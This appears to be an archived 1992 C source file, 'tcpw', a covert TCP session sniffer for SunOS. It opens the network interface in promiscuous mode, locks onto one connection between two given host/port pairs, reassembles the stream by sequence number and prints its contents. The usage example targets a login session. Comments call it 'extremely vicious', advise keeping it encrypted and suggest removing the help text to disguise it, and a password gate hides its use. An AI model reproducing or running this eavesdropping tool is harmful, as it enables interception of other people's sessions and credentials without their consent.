home *** CD-ROM | disk | FTP | other *** search
- /**
- ** version : v1.01
- ** architecture: SunOS 4.1 [Sun3/Sun4]
- ** compilation : cc -O4 tcpw.c -o tcpw; strip tcpw
- ** source rights: this is an EXTREMELLY VICIOUS program, it is ADVISED
- ** that if you must keep this source online, KEEP IT IN ENCRYPTED
- ** FORM.
- **/
-
- #include <stdio.h>
- #include <ctype.h>
- #include <string.h>
- #include <sys/time.h>
- #include <sys/file.h>
- #include <sys/stropts.h>
- #include <sys/signal.h>
- #include <netdb.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <sys/ioctl.h>
- #include <net/if.h>
- #include <net/nit_if.h>
- #include <net/nit_buf.h>
- #include <net/if_arp.h>
- #include <netinet/in.h>
- #include <netinet/if_ether.h>
- #include <netinet/in_systm.h>
- #include <netinet/ip.h>
- #include <netinet/udp.h>
- #include <netinet/ip_var.h>
- #include <netinet/udp_var.h>
- #include <netinet/in_systm.h>
- #include <netinet/tcp.h>
- #include <netinet/ip_icmp.h>
-
- char *malloc();
- char *device;
- int debug = 0, /* debug */
- fastdump = 0, /* do no sequential packet processing */
- oneway = 0; /* oneway watch */
-
- char *ProgName;
-
- #define NIT_DEV "/dev/nit"
- #define CHUNKSIZE 4096 /* device buffer size */
-
- int if_fd = -1;
- int Packet[CHUNKSIZE + 32];
-
- #define STREAM_NULL (0)
- #define STREAM_STOD (1)
- #define STREAM_DTOS (2)
- #define STREAM_MAX (3)
-
- struct PktStack {
- u_char data[CHUNKSIZE];
- int Len;
- u_long Seq;
- };
-
- #define STACK_MAX (10)
-
- struct PktStack pkt_stack[STREAM_MAX][STACK_MAX];
- int pkt_snum[STREAM_MAX];
- u_long seq_num[STREAM_MAX];
- char *Hostname[STREAM_MAX];
- struct in_addr IPaddr[STREAM_MAX];
- int TCPport[STREAM_MAX];
-
- #define ISeq(s,d) ((s) == (d))
- #define ISneq(s,d) ((s) != (d))
-
- void
- Pexit(err, msg)
- int err;
- char *msg;
- {
- perror(msg);
- exit(err);
- }
-
- void
- Zexit(err, msg)
- int err;
- char *msg;
- {
- fprintf(stderr, msg);
- exit(err);
- }
-
- #define FREEstk(SK,St,Rc) { \
- SK.Len = (-1); \
- if(!(--pkt_snum[St])) \
- return(Rc); \
- }
- #define ALLOCstk(SK,Len,Data,S,St) { \
- bcopy(Data,SK.data,Len); \
- SK.Len = Len; \
- SK.Seq = S; \
- pkt_snum[St]++; \
- }
- #define pr_packet(p,length) { \
- while(length-- >0) \
- fputc(*p++,stdout); \
- fflush(stdout); \
- }
- #define MAL_pr_packet(i_p,i_length) { \
- register u_char *p = i_p; \
- register int length = i_length; \
- pr_packet(p,length); \
- }
- #define DEBUGstk(Msg,Num,Seq) if(debug) { \
- printf(Msg,Num,Seq); fflush(stdout); \
- }
- #define SPKT pkt_stack[Tp][i]
-
- /* find and print any packets in the stack IF they are sequential
- * after ours
- */
- int
- cpr_stack(Tp)
- register int Tp;
- {
- register int i, pr = 1;
-
- while (pr)
- for (pr = i = 0; (i < STACK_MAX) && (!pr); i++) {
- if (ISneq(SPKT.Len, (-1))) {
- if (SPKT.Seq <= seq_num[Tp]) { /* check for old packets */
- DEBUGstk("DISCARD(%d/%08X)\n",
- pkt_snum[Tp], SPKT.Seq);
- FREEstk(SPKT, Tp, 0);
- } else if (ISeq(SPKT.Seq, (seq_num[Tp] + 1))) { /* check for ours! */
- DEBUGstk("POP(%d/%08X\n", pkt_snum[Tp], SPKT.Seq);
- seq_num[Tp] = SPKT.Seq;
- MAL_pr_packet(SPKT.data, SPKT.Len);
- FREEstk(SPKT, Tp, 0);
- pr = 1;
- }
- }
- }
- }
-
- /* push packet onto stack, also checking for overflow, if so, dump
- * the stack [missing packet assumed unrecoverable] */
- int
- psh_stack(S, Tp, p, Len)
- register u_long S;
- register int Tp, Len;
- register u_char *p;
- {
- register
- int i = 0;
- register struct PktStack *PK = NULL;
-
- for (; (i < STACK_MAX); i++) {
- if (ISneq(SPKT.Len, (-1))) {
- if (ISeq(SPKT.Seq, S))
- return (0); /* that Seqnum is already on the stack */
- } else if (ISeq(PK, NULL)) {
- PK = &SPKT;
- }
- }
- /* its not on the stack and we got a position for it */
- if (ISneq(PK, NULL)) {
- DEBUGstk("PUSH(%d/%08X)\n", pkt_snum[Tp], S);
- bcopy(p, PK->data, Len);
- PK->Len = Len;
- PK->Seq = S;
- pkt_snum[Tp]++;
- return (0);
- } {
- /* if we reach here, stack is full, assume missing packet is
- * gone forever, so just dump now .. */
- register int j;
- register u_long CS;
-
- while (1) {
- j = (STACK_MAX + 2);
- CS = ~(0); /* determine lowest seq number */
- for (i = 0; (i < STACK_MAX); i++) {
- if (ISneq(SPKT.Len, (-1)) && (SPKT.Seq <= CS)) {
- CS = SPKT.Seq;
- j = i;
- }
- } /* must be nothing in stack */
- if (j > STACK_MAX)
- return (1); /* print */
- seq_num[Tp] = SPKT.Seq;
- DEBUGstk("FLUSH(%d/%08X)\n", pkt_snum[Tp], SPKT.Seq);
- MAL_pr_packet(SPKT.data, SPKT.Len);
- FREEstk(SPKT, Tp, 1);
- }
- }
- }
-
- #define IP ((struct ip *)Packet)
- #define IP_OFFSET (0x1FFF)
- #define SZETH (sizeof(struct ether_header))
- #define IPLEN (ntohs(ip->ip_len))
- #define IPHLEN (ip->ip_hl)
- #define ADneq(s,t) ((s).s_addr != (t).s_addr)
-
- /* important part of the prog, determines if a packet is one
- * we want, and performs sycnhing of sequence numbers */
- void
- filter(cp, pktlen)
- char *cp;
- u_int pktlen;
- {
- register int Stream = STREAM_NULL;
- register struct ip *ip;
- register struct tcphdr *tcph;
- register u_long CurSEQ;
- register u_char *p;
-
- {
- register u_short EtherType = ntohs(((struct ether_header *) cp)->ether_type);
-
- if (EtherType < 0x600) {
- EtherType = *(u_short *) (cp + SZETH + 6);
- cp += 8;
- pktlen -= 8;
- }
- if (ISneq(EtherType, ETHERTYPE_IP))
- return;
- }
- /* ugh, gotta do an alignment :-( */
- bcopy(cp + SZETH, (char *) Packet, (int) (pktlen - SZETH));
- ip = (struct ip *) Packet;
- if (ISneq(ip->ip_p, IPPROTO_TCP))
- return;
- tcph = (struct tcphdr *) (Packet + IPHLEN);
- CurSEQ = (ntohl(tcph->th_seq));
- if (debug) {
- printf("SRC:%s(%d) ", inet_ntoa(ip->ip_src), tcph->th_sport);
- printf("DST:%s(%d)\n", inet_ntoa(ip->ip_dst), tcph->th_dport);
- }
- if (ISeq(tcph->th_sport, TCPport[STREAM_STOD]) &&
- ISeq(tcph->th_dport, TCPport[STREAM_DTOS])) {
- if (ADneq(ip->ip_src, IPaddr[STREAM_STOD]) ||
- ADneq(ip->ip_dst, IPaddr[STREAM_DTOS]))
- return;
- if (!seq_num[Stream = STREAM_STOD]) {
- seq_num[STREAM_STOD] = CurSEQ - 1;
- printf("Hooked S->D [Seq %08X] ...\n", CurSEQ);
- } else if (CurSEQ <= seq_num[STREAM_STOD])
- return;
- } else if ((!oneway) &&
- ISeq(tcph->th_sport, TCPport[STREAM_DTOS]) &&
- ISeq(tcph->th_dport, TCPport[STREAM_STOD])) {
- if (ADneq(ip->ip_src, IPaddr[STREAM_DTOS]) ||
- ADneq(ip->ip_dst, IPaddr[STREAM_STOD]))
- return;
- if (!seq_num[Stream = STREAM_DTOS]) {
- seq_num[STREAM_DTOS] = CurSEQ - 1;
- printf("Hooked D->S [Seq %08X] ...\n", CurSEQ);
- } else if (CurSEQ <= seq_num[STREAM_DTOS])
- return;
- } else
- return;
- {
- register int length = ((IPLEN - (IPHLEN * 4)) - (tcph->th_off * 4));
-
- if (debug)
- printf("[%s]Seq=%08X,pl=%04X,dl=%04X,l=%04X,iph=%04X,ipl=%04X,tf=%04X\n",
- (Stream == STREAM_STOD) ? " S / D " : " D / S ", CurSEQ, pktlen,
- (IPLEN - (IPHLEN * 4)), length, ip->ip_hl, ip->ip_len, tcph->th_off);
- p = (u_char *) Packet;
- p += ((ip->ip_hl * 4) + (tcph->th_off * 4));
- if (fastdump) {
- pr_packet(p, length);
- } else {
- re_loop:if (ISeq(CurSEQ, (seq_num[Stream] + 1))) {
- seq_num[Stream] = CurSEQ;
- pr_packet(p, length);
- if (pkt_snum[Stream]) /* check for 'stacked' packets */
- cpr_stack(Stream);
- } else {
- /* out of sequence packet */
- if (psh_stack(CurSEQ, Stream, p, length))
- goto re_loop;
- }
- }
- }
- }
-
- /* signal handler */
- void
- flushit()
- {
- printf("\n\n[terminating]\n");
- fflush(stdout);
- exit(1);
- }
-
- /* opens network interface, performs ioctls and reads from it,
- * passing data to filter function */
- void
- do_it()
- {
- int cc;
- char *buf;
-
- u_short sp_ts_len;
-
- if (!(buf = malloc(CHUNKSIZE)))
- Pexit(1, "Eth: malloc");
- /* this /dev/nit initialization code pinched from etherfind */ {
- struct strioctl si;
- struct ifreq ifr;
- struct timeval timeout;
- u_int chunksize = CHUNKSIZE;
- u_long if_flags = NI_PROMISC;
-
- if ((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
- Pexit(1, "Eth: nit open");
- if (ioctl(if_fd, I_SRDOPT, (char *) RMSGD) < 0)
- Pexit(1, "Eth: ioctl (I_SRDOPT)");
- si.ic_timout = INFTIM;
- if (ioctl(if_fd, I_PUSH, "nbuf") < 0)
- Pexit(1, "Eth: ioctl (I_PUSH \"nbuf\")");
- timeout.tv_sec = 1;
- timeout.tv_usec = 0;
- si.ic_cmd = NIOCSTIME;
- si.ic_len = sizeof (timeout);
- si.ic_dp = (char *) &timeout;
- if (ioctl(if_fd, I_STR, (char *) &si) < 0)
- Pexit(1, "Eth: ioctl (I_STR: NIOCSTIME)");
- si.ic_cmd = NIOCSCHUNK;
- si.ic_len = sizeof (chunksize);
- si.ic_dp = (char *) &chunksize;
- if (ioctl(if_fd, I_STR, (char *) &si) < 0)
- Pexit(1, "Eth: ioctl(I_STR:NIOCSCHUNK) ");
- strncpy(ifr.ifr_name, device, sizeof (ifr.ifr_name));
- ifr.ifr_name[sizeof (ifr.ifr_name) - 1] = '\0';
- si.ic_cmd = NIOCBIND;
- si.ic_len = sizeof (ifr);
- si.ic_dp = (char *) 𝔦
- if (ioctl(if_fd, I_STR, (char *) &si) < 0)
- Pexit(1, "Eth: ioctl (I_STR: NIOCBIND)");
- si.ic_cmd = NIOCSFLAGS;
- si.ic_len = sizeof (if_flags);
- si.ic_dp = (char *) &if_flags;
- if (ioctl(if_fd, I_STR, (char *) &si) < 0)
- Pexit(1, "Eth: ioctl (I_STR: NIOCSFLAGS) ");
- if (ioctl(if_fd, I_FLUSH, (char *) FLUSHR) < 0)
- Pexit(1, "Eth: ioctl (I_FLUSH)");
- }
- while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
- register char *bp = buf, *bufstop = (buf + cc);
-
- while (bp < bufstop) {
- register char *cp = bp;
-
- register struct nit_bufhdr *hdrp;
-
- hdrp = (struct nit_bufhdr *) cp;
- cp += sizeof (struct nit_bufhdr);
-
- bp += hdrp->nhb_totlen;
- filter(cp, (u_long) hdrp->nhb_msglen);
- }
- } Pexit((-1), "Eth: read");
- }
-
- /* Parses Hostname/port information */
- int
- FixHost(h, Tp)
- char *h;
- int Tp;
- {
- int ok = 1, i = 0;
- char *ptr;
-
- if (!(ptr = strtok(h, "/")))
- return (0);
- /* get hostname, convert from symbolic if needed */
- if ((IPaddr[Tp].s_addr = inet_addr(ptr)) == (unsigned) -1) {
- struct hostent *he = gethostbyname(ptr);
-
- if (he) {
- Hostname[Tp] = strdup(he->h_name);
- bcopy(he->h_addr, (char *) &IPaddr[Tp].
- s_addr, 4);
- } else
- return (0);
- } else
- Hostname[Tp] = strdup(inet_ntoa(IPaddr[Tp]));
- if (!(ptr = strtok(NULL, "")))
- return (0);
- /* get portname, conver from symbolic if needed */
- if ((TCPport[Tp] = atoi(ptr)) == 0) {
- struct servent *sv = getservbyname(ptr, "tcp");
-
- if (sv)
- TCPport[Tp] = sv->s_port;
- else
- return (0);
- }
- return (1);
- }
-
- #define AUTHPASSWD "EloiZgZejWyms"
- /* Important! ensures other people cant (easily) run this program,
- * you may consider removing the HELP text to disguise it.
- */
- void
- Get_Authorization()
- {
- char *buf, *getpass(), *crypt();
- char pwd[21];
-
- strcpy(pwd, AUTHPASSWD);
- buf = getpass("up? ");
- if (strcmp(pwd, crypt(buf, pwd)))
- exit(1);
- }
-
- void
- Usage()
- {
- fprintf(stderr, "Usage: %s [-i device] [-d] [-o] [-f] SRC.Host/Port DST.Host/Port\n",
- ProgName);
- fprintf(stderr, " -o Oneway [Watch src->dst packets only]\n");
- fprintf(stderr, " -d Debug\n");
- fprintf(stderr, " -f Fastdump - ignore sequence numbers\n");
- fprintf(stderr, " -i device specify logical ethernet interface\n");
- fprintf(stderr, " Host/Port Hostname with respective port, maybe in\n");
- fprintf(stderr, " numeric or symbolic format.\n\n");
- fprintf(stderr, " Example: %s -i le0 -o hack.com/login 128.2.2.2/5645\n", ProgName);
- fprintf(stderr, " (C)1992 >R -> AUTHORIZED USE ONLY\n");
- exit(1);
- }
-
- /* Where it all begins ... */
- void
- main(argc, argv)
- int argc;
- char **argv;
- {
- char cbuf[BUFSIZ];
- struct ifconf ifc;
- int s, ac = 1;
-
- ProgName = argv[0];
- if (argc < 3)
- Usage();
- /* Get_Authorization(); /* parse args */
- device = NULL;
- while (argv[ac][0] == '-') {
- register char ch = argv[ac++][1];
-
- switch (toupper(ch)) {
- case 'I':
- device = argv[ac++];
- break;
- case 'D':
- debug = 1;
- break;
- case 'O':
- oneway = 1;
- break;
- case 'F':
- fastdump = 1;
- break;
- default:
- Usage();
- break;
- }
- } /* resolve host/ports */
- if (!FixHost(argv[ac++], STREAM_STOD))
- Zexit(1, "Cannot resolve source host/port");
- if (!FixHost(argv[ac++], STREAM_DTOS))
- Zexit(1, "Cannot resolve destination host/port"); {
- register int i, j;
-
- for (i = 0; i < STREAM_MAX; i++) {
- pkt_snum[i] = 0;
- seq_num[i] = 0;
- for (j = 0; j < STACK_MAX; j++)
- pkt_stack[i][j].Len = -1;
- }
- } /* if not a specified device, determine it */
- if (!device) {
- if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
- Pexit(1, "Eth: socket");
- ifc.ifc_len = sizeof (cbuf);
- ifc.ifc_buf = cbuf;
- if (ioctl(s, SIOCGIFCONF, (char *) &ifc) < 0)
- Pexit(1, "Eth: ioctl");
- close(s);
- device = ifc.ifc_req->ifr_name;
- }
- printf("IP/TCP monitor: %s(%d) <=> %s(%d)\n", Hostname[STREAM_STOD], TCPport[STREAM_STOD], Hostname[STREAM_DTOS], TCPport[STREAM_DTOS]);
- printf("Configured device %s [%s], %s%s%ssynching stream ...\n", device, NIT_DEV, (debug) ? "(debug) " : "", (oneway) ? "(1way) " : "", (fastdump) ? "(fdmp) " : "");
- fflush(stdout);
- signal(SIGINT, flushit);
- signal(SIGTERM, flushit);
- do_it(); /* NOT_REACHED */
- }
-